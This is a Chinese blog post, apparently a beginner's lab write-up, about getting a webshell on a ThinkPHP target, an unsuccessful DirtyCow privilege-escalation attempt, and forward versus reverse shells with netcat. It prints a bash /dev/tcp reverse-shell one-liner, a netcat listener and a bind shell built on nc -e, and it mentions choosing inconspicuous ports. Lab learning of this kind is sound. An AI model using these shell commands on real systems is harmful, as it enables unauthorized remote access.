正反shell学习与实战

释放双眼,带上耳机,听听看~!

前言

在一次靶场的学习中,获取shell的过程遇到了一些问题,因为是安全小白刚开始学习,所以在一步步深入理解webshell和交互shell中学习到很多,同时记录下学习笔记,用以留档与分享。主要涉及shell的认识与netcat的用法。

0x0

故事发生在本小白在某表哥的一个类似HTB靶场的学习中。在渗透靶机时来到获取shell的操作,一开始都很顺利,因为靶机所搭建的thinkphp V5存在命令执行和文件上传的exp,所以直接利用工具写入了一句话,成功连接后获取webshell一枚,因为以往都是在特定靶场容器内对单一的漏洞进行复现学习,第一次接触这种靶机环境的渗透靶场,没什么经验,所以获取到webshell后就开始捡垃圾式翻文件,也的确收获到两枚flag,但翻着翻着就想到,我搁这里瞎翻啥呢,直接find一波不就好了

于是我又很愉快的打开了我的虚拟终端,是的,就是他,虚拟终端,

就是这货,现在回头记笔记的我,发现一切都在开头都已经注定了,在我打开虚拟终端的瞬间,我就已经打开了潘多拉的魔盒。

0x1

首先我在虚拟终端里执行命令

find / -name "flag.txt"

想着先把明处的文件找到先,但是接下来的一串把我打懵了,小白真的是第一次碰到这种情况

这一大串Permission denied让我想到,事情没有那么简单,我这才注意到我这么久都没注意到的事情,

webshell的权限并不是平时默认的root,于是来仔细研究了一番,

发现不仅权限有限,而且还是nologin的,也就是说也没有自己的用户空间,看了一遍用户列表发现除了root外没有别的可用账户了,于是就琢磨着提权的事情,在Linux下的提权第一时间就想到了DirtyCow,脏牛提权。

0x2

这里有一个脏牛的poc大全,dirtycow.github.io,我尝试了其中的dirty.c和cowroot.c,为什么要用两个?因为我一开始以为我用错poc了,结果是我没有发现问题所在,首先一开始我将dirty.c上传到靶机上,成功的编译了出来,也成功的给他加上了执行的权限

于是我依葫芦画瓢的执行dirty文件,但是发现并没有想象中的新建出来一个firefart账号,但的确备份了一份passwd到指定目录中,所以这里为什么失败我也很一头雾水,于是我就尝试了cowroot.c,编译后上传到靶机

也成功加上了权限,再次执行发现还是没有像说明中一样获取到root权限,但该复制的文件却又复制了,至此,这个提权的问题就变得非常大了,然而这个问题仅仅是个引子,虽然现在还没找到解决的办法,但却引出了另一个我需要学习的地方。

0x3

百思不得其解的我就咨询师兄有关提权的问题,在和师兄的交谈中我发现了一个我一直没在意的点

在此之前我一直只知道有上传漏洞就传一句话木马,传了一句话木马就用菜刀蚁剑这类工具去连接获取shell,拿到webshell就执行命令,感觉和平时在命令行并没有什么区别,但一直没思考过对于工具里所使用的webshell的理解,当然这也是因为第一次在实战中接触到这一层面,所以就开始了解shell中交互与非交互的区别。

这里为什么说这种虚拟终端的webshell是非交互式的呢,因为所上传到靶机中的一句话木马,实际上是利用网页文件伪装的可执行脚本,通过传递输入的恶意数据从而在服务器中执行命令,获取到命令执行结果后反序列化再呈现给我们的一种形式,从结果上的确类似平时shell命令窗口。而正是因为webshell中,所需要操作的地方只有递交数据,其余过程都是由sh完成,并不能像正常使用中可以按照提示在执行脚本过程中继续输入数据,所以这种虚拟终端是非交互式的,这也让我理解了在之前在路由器固件中我遇到过的

这种情况,这也是因为这种web上的控制台也是利用webshell的形式来操作机器,例如这个Ping命令,因为在Linux中ping命令是循环发包,并不会像Windows中限定包数量停止命令,所以当webshell执行命令后并不能接收到命令完成后的回显,会一直处于等待中直至超时返回Run command failed。因为这个过程让我理解到其实webshell存在的初衷其实是为了给用户或者管理者一个更友好的管理服务器、管理数据的窗口,但开了一扇窗就必然会有可能飞进不希望飞入的东西,这就是攻击中所置入的含有恶意脚本的webshell,从而借此达到入侵服务器的目的。

0x4

琢磨了一通非交互式的webshell,在查阅资料学习的过程中自然也接触到了通过webshell来反弹shell的文章,而我这才知道这往往是提权的前提,是为提权做准备,当然也有单纯利用溢出漏洞给webshell提权的方法,在这里先记录我对于shell的学习。

相比webshell的非交互,可交互的shell就方便许多,在很多命令的执行上都更灵活,不过首先要做的是利用webshell来从webshell脱离开,直接接触到系统中的shell也就是bash和sh进程。这里就需要回归到我的靶机环境,我使用的是netcat也称nc,一开始按照网上大多数文章的思路来操作,在攻击机上nc监听,然后通过靶机发起tcp连接来将bash进程反弹到指定ip的特定接收端口

攻击机
nc -lvvp [port]
​
靶机
bash -i >& /dev/tcp/[attack ip]/[port] 0>&1

这种由靶机发起连接的方式也就是反向shell,可以绕过防火墙对于外部发起的可以连接的限制,所以应用范围很广,但当我应用在我这个靶机环境中时出现了问题。

因为我所使用的靶场是通过openvpn连接的,接入的是一个内网环境,在我在靶机上尝试发起连接时便出现了如下的情况,

似乎是路由表的问题,于是尝试从靶机反ping攻击机ip出现了如下情况

目标主机不可达,在我排除了防火墙之类影响后,发现在靶机路由表上出现了问题,因为靶机所处是相对于攻击机的内部环境,路由只做了从外往内访问的通路,并没有配置内部访问外部的通路,所以出现了主机不可达的情况,因此反向shell也反弹失败。这时候就需要改变思路了,当只有从外往内是可以发起访问的,那就需要改变nc中发起方和接收方的位置,而这就是接下来学习到的正向shell

0x5

遇到我现在这种内网环境的靶机,正向shell就发挥作用了,所谓正向就是与反向shell相反,由攻击机来主动发起连接,而靶机充当监听端等待连接。

而这种情况所需要的靶机条件就相对比反向shell苛刻一点,因为这需要在靶机上存在可用的nc,并且系统没有禁用-e参数,这一参数是用来打开bash进程,在攻击机连接上端口后反馈给攻击机,而我的靶机恰好满足两个条件(现在看来其实就是为了考查反弹shell的这个知识点,看头脑是否灵活)

首先在webshell上开启nc的监听,不过首先要先看一下靶机的端口占用情况,确认所选用于反弹shell的端口没有被占用

这里我们选择端口1024,可以看到目前靶机上是没有进程使用这一端口的,当然在实战中也可以选用像8080这一种看起来会没那么可疑的端口,确认端口无占用后就可以启动nc来进行监听,同时在攻击机开启nc连接

可以看到这样子在攻击机上就成功接收到了从靶机上反弹回来的shell进程了,接下来就可以继续提权大业了。

总结

通过这次实战能理解了先前没有搞通的问题,也掌握到了没有先前没有学习到的知识,尽管还没有成功提权,但这也让我收获很多了。不过从靶机上获取到反弹shell也只是第一步,而且这个通过nc反弹的shell进程虽然具有可交互的特点,但也存在着弊端,因为在攻击机上是依托netcat程序来接收的shell,所以当执行ping这一类命令时虽然可以正常看到执行效果且可以回显,但却无法停止命令的执行,因为在当使用ctrl+c停止时,是会直接结束掉nc进程,这也就是其中一个不完善的地方,还需要继续深入的学习来获得一个完善的执行shell。同时也让我梳理了一遍对于一套渗透流程中对于获取到webshell后应该首先完成的操作,也就是确认权限,当权限不足就需要提权,然后从webshell过渡到真正的shell进程。

安全独秀圈漏洞

内网安全:03.对内网主机的端口进行探测(长期更新)

2020-4-21 14:05:21

公众号文章安全独秀圈

快速上手C++

2020-4-22 12:43:29

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索